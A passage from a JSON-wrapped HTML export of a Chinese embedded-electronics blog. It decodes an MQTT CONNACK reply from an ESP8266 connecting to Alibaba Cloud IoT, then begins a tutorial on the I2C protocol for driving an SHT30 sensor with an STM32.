\u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e 0D 0A\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e 末尾的\u003ccode\u003e0D\u003c/code\u003e 是回车符,\u003ccode\u003e0A\u003c/code\u003e是换行符,因为使用串口助手,这俩不可避免。\u003c/p\u003e\u003cp\u003e其中前面的 \u003ccode\u003e0D 0A 2B 49 50 44 2C 34 3A\u003c/code\u003e,是\u003ccode\u003e+IPD,4\u003c/code\u003e,我们只需要关注后面的字节:**\u003ccode\u003e20 02 00 00\u003c/code\u003e** 。\u003c/p\u003e\u003cp\u003e要知道这玩意的意思,首先要了解CONNACK – 确认连接请求。\u003c/p\u003e\u003ch2 id=\"CONNACK-–-确认连接请求\"\u003e\u003ca href=\"#CONNACK-–-确认连接请求\" class=\"headerlink\" title=\"CONNACK – 确认连接请求\"\u003e\u003c/a\u003eCONNACK – 确认连接请求\u003c/h2\u003e\u003cp\u003e服务端发送CONNACK报文响应从客户端收到的CONNECT报文。服务端发送给客户端的第一个报文\u003cstrong\u003e必须\u003c/strong\u003e是CONNACK。\u003c/p\u003e\u003ch3 id=\"固定报头-1\"\u003e\u003ca href=\"#固定报头-1\" class=\"headerlink\" title=\"固定报头\"\u003e\u003c/a\u003e固定报头\u003c/h3\u003e\u003ctable\u003e \u003ctr\u003e \u003cth colspan=\"9\"\u003e\u003ccenter\u003eCONNACK报文固定报头\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003cth \u003e\u003ccenter\u003eBit\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e7\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e6\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e5\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e4\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e3\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e2\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 1\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"4\"\u003e\u003ccenter\u003eMQTT报文类型(2)\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"4\"\u003e\u003ccenter\u003eReserved 保留位\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 2...\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"8\"\u003e\u003ccenter\u003e剩余长度(2)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/table\u003e\u003cp\u003e\u003cstrong\u003e剩余长度字段:\u003c/strong\u003e表示可变报头的长度。对于CONNACK报文这个值等于2。\u003c/p\u003e\u003ch4 id=\"固定报头编码\"\u003e\u003ca href=\"#固定报头编码\" class=\"headerlink\" title=\"固定报头编码\"\u003e\u003c/a\u003e固定报头编码\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e \u003cspan class=\"token number\"\u003e02\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"可变报头-1\"\u003e\u003ca href=\"#可变报头-1\" class=\"headerlink\" title=\"可变报头\"\u003e\u003c/a\u003e可变报头\u003c/h3\u003e\u003ctable\u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eCONNACK报文可变报头\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003cth \u003e\u003ccenter\u003e\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e描述\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e7\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e6\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e5\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e4\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e3\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e2\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd colspan=\"2\"\u003e\u003ccenter\u003e连接确认标志\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"7\"\u003e\u003ccenter\u003eReserved 保留位\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eSP\u003csup\u003e1\u003csup\u003e\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd colspan=\"10\"\u003e\u003ccenter\u003e连接返回码\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte2\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/table\u003e\u003ch4 id=\"连接确认标志-Connect-Acknowledge-Flags\"\u003e\u003ca href=\"#连接确认标志-Connect-Acknowledge-Flags\" class=\"headerlink\" title=\"连接确认标志 Connect Acknowledge Flags\"\u003e\u003c/a\u003e连接确认标志 Connect Acknowledge Flags\u003c/h4\u003e\u003cp\u003e第1个字节是 \u003cem\u003e连接确认标志\u003c/em\u003e,位7-1是保留位且\u003cstrong\u003e必须\u003c/strong\u003e设置为0。 第0 (SP)位 是当前会话(Session Present)标志。\u003c/p\u003e\u003ch5 id=\"当前会话-Session-Present\"\u003e\u003ca href=\"#当前会话-Session-Present\" class=\"headerlink\" title=\"当前会话 Session Present\"\u003e\u003c/a\u003e当前会话 Session Present\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e位置:\u003c/strong\u003e连接确认标志的第0位。\u003c/p\u003e\u003cp\u003e如果服务端收到清理会话(CleanSession)标志为1的连接,除了将CONNACK报文中的返回码设置为0之外,还\u003cstrong\u003e必须\u003c/strong\u003e将CONNACK报文中的当前会话设置(Session Present)标志为0。\u003c/p\u003e\u003cp\u003e)我们在发送报文中清理会话标志位为1,所以返回码为0。(其他情况参阅资料)\u003c/p\u003e\u003ch4 id=\"连接返回码-Connect-Return-code\"\u003e\u003ca href=\"#连接返回码-Connect-Return-code\" class=\"headerlink\" title=\"连接返回码 Connect Return code\"\u003e\u003c/a\u003e连接返回码 Connect Return code\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e位置:\u003c/strong\u003e可变报头的第2个字节。\u003c/p\u003e\u003cp\u003e连接返回码字段使用一个字节的无符号值,在下表中列出。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e值\u003c/th\u003e\u003cth\u003e返回码响应\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e0x00连接已接受\u003c/td\u003e\u003ctd\u003e连接已被服务端接受\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003e0x01连接已拒绝,不支持的协议版本\u003c/td\u003e\u003ctd\u003e服务端不支持客户端请求的MQTT协议级别\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003e0x02连接已拒绝,不合格的客户端标识符\u003c/td\u003e\u003ctd\u003e客户端标识符是正确的UTF-8编码,但服务端不允许使用\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e3\u003c/td\u003e\u003ctd\u003e0x03连接已拒绝,服务端不可用\u003c/td\u003e\u003ctd\u003e网络连接已建立,但MQTT服务不可用\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e4\u003c/td\u003e\u003ctd\u003e0x04连接已拒绝,无效的用户名或密码\u003c/td\u003e\u003ctd\u003e用户名或密码的数据格式无效\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e5\u003c/td\u003e\u003ctd\u003e0x05连接已拒绝,未授权\u003c/td\u003e\u003ctd\u003e客户端未被授权连接到此服务器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e6-255\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003e保留\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e如果服务端收到一个合法的CONNECT报文,但出于某些原因无法处理它,服务端应该尝试发送一个包含非零返回码(表格中的某一个)的CONNACK报文。如果服务端发送了一个包含非零返回码的CONNACK报文,那么它\u003cstrong\u003e必须\u003c/strong\u003e关闭网络连接。\u003c/p\u003e\u003ch4 id=\"正确连接的可变报头\"\u003e\u003ca href=\"#正确连接的可变报头\" class=\"headerlink\" title=\"正确连接的可变报头\"\u003e\u003c/a\u003e正确连接的可变报头\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003e00 00\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"有效载荷-1\"\u003e\u003ca href=\"#有效载荷-1\" class=\"headerlink\" title=\"有效载荷\"\u003e\u003c/a\u003e有效载荷\u003c/h3\u003e\u003cp\u003eCONNACK报文没有有效载荷。\u003c/p\u003e\u003ch2 id=\"最终结果\"\u003e\u003ca href=\"#最终结果\" class=\"headerlink\" title=\"最终结果\"\u003e\u003c/a\u003e最终结果\u003c/h2\u003e\u003cp\u003e串口返回数据:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eRx\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e02\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e09.437\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e 0D 0A 2B \u003cspan class=\"token number\"\u003e49\u003c/span\u003e \u003cspan class=\"token number\"\u003e50\u003c/span\u003e \u003cspan class=\"token number\"\u003e44\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e34\u003c/span\u003e 3A \u003cspan class=\"token number\"\u003e20\u003c/span\u003e \u003cspan class=\"token number\"\u003e02\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e 0D 0A\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e根据我们在串口看到的返回结果\u003ccode\u003e20 02 00 00\u003c/code\u003e,可知连接已经建立成功。\u003c/p\u003e\u003cp\u003e这时候在阿里云物联网平台的设备页面,我们看见我们的设备上线了!\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-markup\" data-language=\"markup\"\u003e\u003ccode class=\"language-markup\"\u003e最后上线时间 2023/07/23 02:12:13.847\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"#参考链接\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://doc.openluat.com/wiki/49\"\u003eLuat社区 (openluat.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://help.aliyun.com/zh/iot/user-guide/establish-mqtt-connections-over-tcp#section-llx-5ay-oma\"\u003eMQTT-TCP连接通信 (aliyun.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://mcxiaoke.gitbooks.io/mqtt-cn/content/\"\u003eMQTT中文手册\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.codenong.com/cs105877395/\"\u003eMQTT协议学习一、MQTT控制报文的结构与CONNECT报文构建 | 码农家园 (codenong.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://mcxiaoke.gitbooks.io/mqtt-cn/content/mqtt/01-Introduction.html\"\u003e第一章 - MQTT介绍 · MQTT协议中文版 (gitbooks.io)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_52672120/article/details/112308318\"\u003eMQTT - CONNECT报文_mqtt_connect_Hebo42的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/cw_huang/article/details/105815349\"\u003eESP8266-12F AT指令连接阿里云_GEEK.攻城狮的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/huangcw/p/12778758.html\"\u003eESP8266-12F AT指令连接阿里云 - 黄豆爸 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://baijiahao.baidu.com/s?id=1715575644678049062\u0026wfr=spider\u0026for=pc\"\u003eMQTT协议报文格式解析 (baidu.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e","url":"https://blog.ksfu.top/posts/47a8/"},{"title":"STM32使用硬件IIC驱动SHT30温湿度传感器","time":"2023-07-13T16:37:34Z","content":"\u003ch1 id=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003ca href=\"#STM32使用硬件IIC驱动SHT30温湿度传感器\" class=\"headerlink\" title=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003c/a\u003eSTM32使用硬件II\u003chr /\u003e\u003ch1 id=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003ca href=\"#STM32使用硬件IIC驱动SHT30温湿度传感器\" class=\"headerlink\" title=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003c/a\u003eSTM32使用硬件IIC驱动SHT30温湿度传感器\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e喜报,终于写完了\u003c/del\u003e\u003c/p\u003e\u003cp\u003e当时网上 xjb乱逛,突然看见有人讨论小米温湿度传感器,我当时也买了个这玩意,于是突然感兴趣查了一下用的传感器——SHT30,协议是IIC。当时想着能不能自己也山寨一个小米温湿度传感器 \u003cdel\u003e,然后下单了SHT30之后就再也没动过\u003c/del\u003e 。这会放假了,想起来这玩意,就整一整吧,顺便再 \u003cstrong\u003e学习一遍IIC协议\u003c/strong\u003e 。图个方便,这次先用硬件IIC。\u003c/p\u003e\u003ch2 id=\"IIC-协议\"\u003e\u003ca href=\"#IIC-协议\" class=\"headerlink\" title=\"IIC 协议\"\u003e\u003c/a\u003eIIC 协议\u003c/h2\u003e\u003ch2 id=\"I2C协议介绍\"\u003e\u003ca href=\"#I2C协议介绍\" class=\"headerlink\" title=\"I2C协议介绍\"\u003e\u003c/a\u003eI2C协议介绍\u003c/h2\u003e\u003ch3 id=\"(1)I2C协议简介\"\u003e\u003ca href=\"#(1)I2C协议简介\" class=\"headerlink\" title=\"(1)I2C协议简介\"\u003e\u003c/a\u003e(1)I2C协议简介\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e【省流版】:\u003c/p\u003e\u003cp\u003e串行通信协议的一种,属于串行通信协议中的半双工同步通信。\u003c/p\u003e\u003cp\u003eIIC是一种被定义好的标准,采用二线制,一条数据线,一条时钟线;\u003c/p\u003e\u003cp\u003e数据线传输数据,一位一位传输;时钟线控制传输速率。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eI2C总线是Philips公司在八十年代初推出的一种\u003cstrong\u003e串行、半双工的总线\u003c/strong\u003e,主要用于近距离、低速的芯片之间的通信。\u003c/p\u003e\u003cp\u003e每个IIC器件有两条线路:\u003c/p\u003e\u003cul\u003e\u003cli\u003eSDA是供主器件和节点发送和接收数据的线路。\u003c/li\u003e\u003cli\u003eSCL是承载时钟信号的线路。SCL总是由I2C主器件生成。规范对时钟信号的低相位和高相位有最短周期要求。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eI2C总线仅使用两条双向线路:每个器件的SDA和SCL用于简单的IC间通信。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/11.webp\" style=\"zoom:80%;\" /\u003e\u003cp\u003e硬件最重要的注意是在SDA和SCL上加入上拉电阻。I2C器件通过开集或开漏引脚连接到总线,将线路拉低。当没有数据传输时,I2C总线处于高电平空闲状态;线路被被动拉高。要传输数据,须切换线路,即先拉低再释放(又变为高电平)。数据位在时钟下降沿传输。\u003c/p\u003e\u003cp\u003e开漏输出需要一个上拉电阻(Rp)才能正确输出高电平。上拉电阻连接在输出引脚和高电平所需的输出电压(VDD)之间。\u003c/p\u003e\u003cp\u003e对于VCC和VDD (5 V)的典型值,4700 Ω是最常用的上拉电阻值。\u003c/p\u003e\u003cp\u003eI2C总线是一种主从结构(Master\u0026#x2F;Slave)总线, I2C总线上的每一个设备都可以作为主设备或者从设备,但一个总线上一般只有一个主设备,可以带多个从设备。其中主设备用来产生允许传输的时钟信号,并初始化总线的数据传输,所以主设备通常是CPU,而从设备只能被动响应主设备发起的通信请求,所以各种I2C接口芯片将作为从设备使用。\u003c/p\u003e\u003ch4 id=\"(2)I2C从设备地址\"\u003e\u003ca href=\"#(2)I2C从设备地址\" class=\"headerlink\" title=\"(2)I2C从设备地址\"\u003e\u003c/a\u003e(2)I2C从设备地址\u003c/h4\u003e\u003cp\u003e因为一个I2C总线上可以有多个从设备,这样主设备需要通过地址来确定与哪个器件进行通信。I2C总线上每个从设备都有一个唯一的7bit地址物理识别,这个地址固化在芯片内部,并可以从芯片datasheet上找到。\u003c/p\u003e\u003cp\u003eI2C有16个保留地址。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/12.webp\" style=\"zoom:80%;\" /\u003e\u003cp\u003e其中I2C的从器件地址(本次SHT30只用到了7位的)的组成如下:\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e1byte \u0026#x3D; 7bit地址 + 1bit读写标志\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e注:1bit读写标志中,0-发送数据(写),1-请求数据(读)\u003c/p\u003e\u003cp\u003e有些时候一个总线上可能需要挂多个同一芯片,这样有些芯片还需要引出一个或几个引脚,由开发板设计电路来决定其具体地址,从而让不同芯片具有不同的7bit物理地址。\u003c/p\u003e\u003ch3 id=\"I2C通信时序\"\u003e\u003ca href=\"#I2C通信时序\" class=\"headerlink\" title=\"I2C通信时序\"\u003e\u003c/a\u003eI2C通信时序\u003c/h3\u003e\u003cp\u003e在I2C总线上传送的每一位数据都由一个同步时钟脉冲相对应,即在SCL串行时钟的配合下,数据在SDA上从高位向低位依次串行传送每一位的数据。IIC通信时序图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/13.webp\" style=\"zoom:80%;\" /\u003e\u003ch4 id=\"(1)起始位\"\u003e\u003ca href=\"#(1)起始位\" class=\"headerlink\" title=\"(1)起始位\"\u003e\u003c/a\u003e(1)起始位\u003c/h4\u003e\u003cp\u003eI2C总线在空闲时SDA和SCL都处于高电平状态(由上拉电阻拉成高电平),当主设备要开始一次I2C通信时就发送一个START(S)信号,这个起始位就可以告诉所有I2C从机, “我”要开始进行I2C通信了;当要结束一次I2C通信时,则发送一个STOP信号结束本次通信。\u003c/p\u003e\u003cp\u003eSTART(S):当SCL保持高电平时候,SDA出现下降沿,产生一个起始位,注意SCL一定要在高电平。\u003cbr\u003eSTOP( P ):当SCL保持高电平时候,SDA出现上升沿,产生一个停止位,注意SCL一定要在高电平。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/14.webp\" style=\"zoom: 67%;\" /\u003e\u003ch4 id=\"(2)读写地址\"\u003e\u003ca href=\"#(2)读写地址\" class=\"headerlink\" title=\"(2)读写地址\"\u003e\u003c/a\u003e(2)读写地址\u003c/h4\u003e\u003cp\u003e主机在发送START信号之后,第2个时序应该立刻给出要通信的目标从机物理地址。此外,I2C总线是一种能够实现半双工通信的同步串行通信协议,站在主设备的角度来看应该具有读\u0026#x2F;写从设备的功能。\u003c/p\u003e\u003cp\u003e这时候I2C的读写地址除了7bit物理地址以外,还有1bit用来标识读\u0026#x2F;写方向位。这样I2C的从设备读写地址通常是一个字节,其中高7bit是上面描述的物理地址,最低位用来表示读写方向(0为写操作, 1为读操作)\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/15.webp\" style=\"zoom:67%;\" /\u003e\u003ch4 id=\"(3)I2C应答信号\"\u003e\u003ca href=\"#(3)I2C应答信号\" class=\"headerlink\" title=\"(3)I2C应答信号\"\u003e\u003c/a\u003e(3)I2C应答信号\u003c/h4\u003e\u003cp\u003e主机往I2C总线上传输器件地址,所有的从机接收到这个地址后与自己的地址相比较若相同则发出一个应答ACK(Acknowledge)信号,主机收到这个应答信号后通讯连接建立成功,若未收到应答信号则表示寻址失败。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/16.webp\" style=\"zoom: 67%;\" /\u003e\u003cp\u003e此外,主\u0026#x2F;从机在之后的数据通信中,数据接收方(可能是主机也可能是从机)收到传输的一个字节数据后,需要给出响应,此时处在第九个时钟,发送端释放SDA线控制权,将SDA电平拉高,由接收方控制。\u003c/p\u003e\u003cul\u003e\u003cli\u003e若希望继续,则给出“应答(ACK, Acknowledge)”信号,即SDA为低电平\u003c/li\u003e\u003cli\u003e若不希望继续,则给出“非应答(NACK,Not Acknowledge) ”信号,即SDA为高电平\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"(4)数据位发送与接收\"\u003e\u003ca href=\"#(4)数据位发送与接收\" class=\"headerlink\" title=\"(4)数据位发送与接收\"\u003e\u003c/a\u003e(4)数据位发送与接收\u003c/h4\u003e\u003cp\u003e主机在收到从机的应答信号之后,开始给从机发送数据。SDA数据线上的每个字节必须是8位,每次传输的字节数量没有限制,每个字节发送完成之后,从机必须跟一个应答信号。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/17.webp\" style=\"zoom:67%;\" /\u003e\u003cp\u003eI2C总线通信时数据位传输采用MSB(最高位优先)方式发送,其中高电平表示数据位1,低电平表示数据位0。\u003c/p\u003e\u003cp\u003e当传输的数据位需要改变时(如上一个位发送的是1,下一个位要发送0),必须发生在SCL为低电平期间。另外在传输过程中, SDA上的数据位在SCL高电平期间必须保持稳定不变。\u003c/p\u003e\u003cp\u003e假设SCL在高电平,想一下是不是就会触发起始位或者终止位。想一想起始信号与停止信号是怎么发送的就会明白为什么SCL一定要在高电平才能改变SDA。\u003c/p\u003e\u003ch3 id=\"I2C协议主机收发数据流程\"\u003e\u003ca href=\"#I2C协议主机收发数据流程\" class=\"headerlink\" title=\"I2C协议主机收发数据流程\"\u003e\u003c/a\u003eI2C协议主机收发数据流程\u003c/h3\u003e\u003ch4 id=\"(1)主机发送数据\"\u003e\u003ca href=\"#(1)主机发送数据\" class=\"headerlink\" title=\"(1)主机发送数据\"\u003e\u003c/a\u003e(1)主机发送数据\u003c/h4\u003e\u003cp\u003e主机在检测到总线为“空闲状态”(即 SDA、SCL 线均为高电平)时,发送一个启动信号“S”,开始一次通信的开始;\u003c/p\u003e\u003cp\u003e主机接着发送一个从设备地址,它由7bit物理地址和1bit读写控制位R\u0026#x2F;W组成(此时R\u0026#x2F;W\u0026#x3D;0);\u003cbr\u003e相对应的从机收到命令字节后向主机回馈应答信号 ACK(ACK\u0026#x3D;0);\u003c/p\u003e\u003cp\u003e主机收到从机的应答信号后开始发送第一个字节的数据;\u003c/p\u003e\u003cp\u003e从机收到数据后返回一个应答信号 ACK;\u003c/p\u003e\u003cp\u003e主机收到应答信号后再发送下一个数据字节;\u003c/p\u003e\u003cp\u003e当主机发送最后一个数据字节并收到从机的 ACK 后,通过向从机发送一个停止信号P结束本次通信并释放总线。从机收到P信号后也退出与主机之间的通信。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/18.webp\" style=\"zoom:67%;\" /\u003e\u003cblockquote\u003e\u003cp\u003e\u003ccode\u003e注意\u003c/code\u003e :\u003c/p\u003e\u003cul\u003e\u003cli\u003e主机通过发送地址码与对应的从机建立了通信关系,而挂接在总线上的其它从机虽然同时也收到了地址码,但因为与其自身的地址不相符合,因此提前退出与主机的通信;\u003c/li\u003e\u003cli\u003e主机的一次发送通信,其发送的数据数量不受限制。主机是通过 P 信号通知发送的结束,从机收到 P 信号后退出本次通信;\u003c/li\u003e\u003cli\u003e主机的每一次发送后都是通过从机的 ACK 信号了解从机的接收状况,如果应答错误则重发。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch4 id=\"(2)主机接收数据\"\u003e\u003ca href=\"#(2)主机接收数据\" class=\"headerlink\" 